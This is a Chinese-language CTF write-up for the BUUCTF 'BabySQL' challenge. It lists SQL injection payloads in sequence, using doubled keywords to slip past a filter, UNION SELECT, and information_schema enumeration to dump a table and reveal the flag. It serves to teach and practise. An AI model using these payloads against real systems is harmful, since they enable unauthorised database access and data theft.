【BUUCTF】BabySQL

Itachi

判断注入类型

尝试万能密码:'1 or 1=1 -- qwe
img

发现仅剩下 1=1 -- qwe,可能ban掉了”or”关键词

尝试双写:1' oorr 1=1 -- qwe
img

登陆成功,可能以后都要双写了

判断字段数

1' oorrder bbyy 3 -- qwe
img

看来有三个字段

判断回显点

1' ununionion seselectlect 1,2,3 -- qwe
img

回显点是2和3

查表

1' ununionion seselectlect 1,table_name,3 frfromom information_schema.tables whwhereere table_schema=database() limit 0,1 -- qwe
img

看来or都被过滤了,所以系统自带库的也要双写:1' ununionion seselectlect 1,table_name,3 frfromom infoorrmation_schema.tables whwhereere table_schema=database() limit 0,1 -- qwe
img

应该就是这个表

查字段

1' ununionion seselectlect 1,column_name,3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' anandd table_schema=database() limit 0,1 -- qwe
img

limit 2,1
img

查数据

这里不能忘了password里的or1' ununionion seselectlect 1,concat(passwoorrd),3 frfromom b4bsql limit 0,1 -- qwe

经过上次的经验还是加上 group_concat
img

得到 flag{aea31b75-8445-4d13-bd03-de2a2de81159}

  • 标题: 【BUUCTF】BabySQL
  • 作者: Itachi
  • 创建于 : 2021-11-04 22:43:54
  • 更新于 : 2021-11-05 01:21:15
  • 链接: https://blog.tarchi.top/ctf/【BUUCTF】BabySQL/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论